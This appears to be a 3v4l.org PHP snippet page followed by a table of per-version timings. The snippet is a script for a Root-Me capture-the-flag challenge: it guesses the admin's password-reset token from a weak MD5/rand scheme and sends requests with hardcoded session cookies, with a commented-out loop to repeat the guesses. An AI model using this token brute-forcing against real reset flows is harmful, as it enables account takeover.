3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ok = 1; //while($ok==1){ $salt = microtime(); $generated_token = MD5('$salt' . rand(1, 100)); $url = "http://challenge01.root-me.org/web-serveur/ch14/?p=forgot_dev&username=admin&token=".$generated_token; echo $url; $ch = curl_init(); // configuration de l'URL et d'autres options curl_setopt($ch, CURLOPT_URL, $url ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Connection: keep-alive', 'Accept-Encoding: gzip,deflate,sdch', 'Cookie: PHPSESSID=9povrv2ujga3a90gde97mnh086; spip_session=3959_88b7a314b6d320abc758d2aa6adc5321', 'Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4', 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36' )); $chaine=curl_exec($ch); echo $chaine; /*if (strpos($chaine,"Votre mot de passe est") !== false) { echo $chaine; $ok = 2; }*/ curl_close($ch); // fermeture de la session curl //} ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.2.00.0000.01719.39
7.1.70.0000.01017.34
7.1.60.0060.00619.32
7.1.50.0060.01516.89
7.1.00.0030.07722.42
7.0.200.0050.00516.86
7.0.140.0030.07322.15
7.0.60.0130.06019.86
7.0.50.0000.04717.81
7.0.40.0070.04320.27
7.0.30.0330.08020.31
7.0.20.0170.08020.04
7.0.10.0000.07020.21
7.0.00.0170.05720.18
5.6.280.0070.06721.16
5.6.210.0100.08320.53
5.6.200.0000.06318.13
5.6.190.0130.08320.21
5.6.180.0300.07020.56
5.6.170.0370.06720.32
5.6.160.0030.09020.48
5.6.150.0070.08318.15
5.6.140.0030.04718.07
5.6.130.0030.04318.18
5.6.120.0100.04021.11
5.6.110.0070.08321.11
5.6.100.0170.04320.88
5.6.90.0130.07020.98
5.6.80.0100.05720.48
5.5.350.4070.04320.52
5.5.340.0030.08317.98
5.5.330.0030.09020.40
5.5.320.0330.04020.50
5.5.310.0270.07720.23
5.5.300.0070.06717.99
5.5.290.0130.07317.92
5.5.280.0100.03720.96
5.5.270.0030.06720.79
5.5.260.0030.08720.77
5.5.250.0030.04320.79
5.5.240.0100.03020.15
5.4.450.0030.04019.50
5.4.440.0100.05319.37
5.4.430.0070.08319.40
5.4.420.0170.06719.50
5.4.410.0030.07319.38
5.4.400.0070.04319.00
5.4.390.0100.07018.79
5.4.380.0070.06718.76
5.4.370.0030.04318.79
5.4.360.0070.07319.14
5.4.350.0070.05019.09
5.4.340.0100.04718.79
5.4.320.0000.07319.18
5.4.310.0070.07719.14
5.4.300.0100.07319.17
5.4.290.0100.07719.14
5.4.280.0070.04319.12
5.4.270.0070.03719.15
5.4.260.0030.04019.08
5.4.250.0170.07018.99
5.4.240.0100.06719.07
5.4.230.0030.07719.17
5.4.220.0100.04719.17
5.4.210.0030.07019.13
5.4.200.0070.05318.92
5.4.190.0100.07019.16
5.4.180.0030.04018.99
5.4.170.0100.07319.14
5.4.160.0030.06319.06
5.4.150.0070.04719.06
5.4.140.0030.06716.41
5.4.130.0130.07016.37
5.4.120.0000.07716.29
5.4.110.0100.07016.23
5.4.100.0130.06716.31
5.4.90.0100.07316.35
5.4.80.0100.05016.21
5.4.70.0030.06316.59
5.4.60.0070.07316.13
5.4.50.0070.06316.38
5.4.40.0000.08016.25
5.4.30.0070.03316.28
5.4.20.0100.04716.13
5.4.10.0030.05316.33
5.4.00.0100.06715.81
5.3.290.0070.07014.61
5.3.280.0100.07714.52
5.3.270.0070.07314.54
5.3.260.0100.03314.55
5.3.250.0030.03714.53
5.3.240.0070.06714.39
5.3.230.0000.08014.57
5.3.220.0200.07014.48
5.3.210.0070.07314.50
5.3.200.0070.07714.58
5.3.190.0070.08014.50
5.3.180.0000.05014.65
5.3.170.0100.06714.57
5.3.160.0170.06714.48
5.3.150.0000.08314.50
5.3.140.0070.07714.48
5.3.130.0070.06714.36
5.3.120.0030.06714.48
5.3.110.0070.05714.51
5.3.100.0100.05714.00
5.3.90.0000.08013.96
5.3.80.0100.07013.95
5.3.70.0170.06713.84
5.3.60.0030.05713.79
5.3.50.0030.07713.96
5.3.40.0000.04013.93
5.3.30.0170.05313.86
5.3.20.0070.06013.71
5.3.10.0070.07313.67
5.3.00.0000.06713.67
5.2.170.0100.05711.07
5.2.160.0070.05711.07
5.2.150.0070.03711.07
5.2.140.0030.06711.08
5.2.130.0070.04711.08
5.2.120.0100.05311.01
5.2.110.0070.03011.04
5.2.100.0000.05311.00
5.2.90.0030.06311.04
5.2.80.0000.06711.17
5.2.70.0070.05710.92
5.2.60.0030.04010.98
5.2.50.0100.04711.09
5.2.40.0100.05011.16
5.2.30.0070.02710.91
5.2.20.0000.06710.96
5.2.10.0000.07010.77
5.2.00.0100.05310.76
5.1.60.0000.02710.04
5.1.50.0070.05010.07
5.1.40.0070.0479.88
5.1.30.0030.05010.33
5.1.20.0070.03010.35
5.1.10.0000.03010.20
5.1.00.0030.02710.02
5.0.50.0000.0508.71
5.0.40.0030.0438.32
5.0.30.0000.0678.23
5.0.20.0000.0478.17
5.0.10.0000.0478.32
5.0.00.0030.0608.23
4.4.90.0030.0278.11
4.4.80.0000.0208.11
4.4.70.0030.0378.11
4.4.60.0000.0178.11
4.4.50.0000.0378.11
4.4.40.0000.0538.11
4.4.30.0000.0178.11
4.4.20.0030.0178.11
4.4.10.0030.0138.11
4.4.00.0100.0338.11
4.3.110.0030.0338.11
4.3.100.0000.0338.11
4.3.90.0030.0278.11
4.3.80.0000.0308.11
4.3.70.0000.0208.11
4.3.60.0030.0338.11
4.3.50.0030.0178.11
4.3.40.0030.0538.11
4.3.30.0030.0338.11
4.3.20.0000.0378.11
4.3.10.0000.0378.11
4.3.00.0000.0378.11

preferences:
31.19 ms | 400 KiB | 5 Q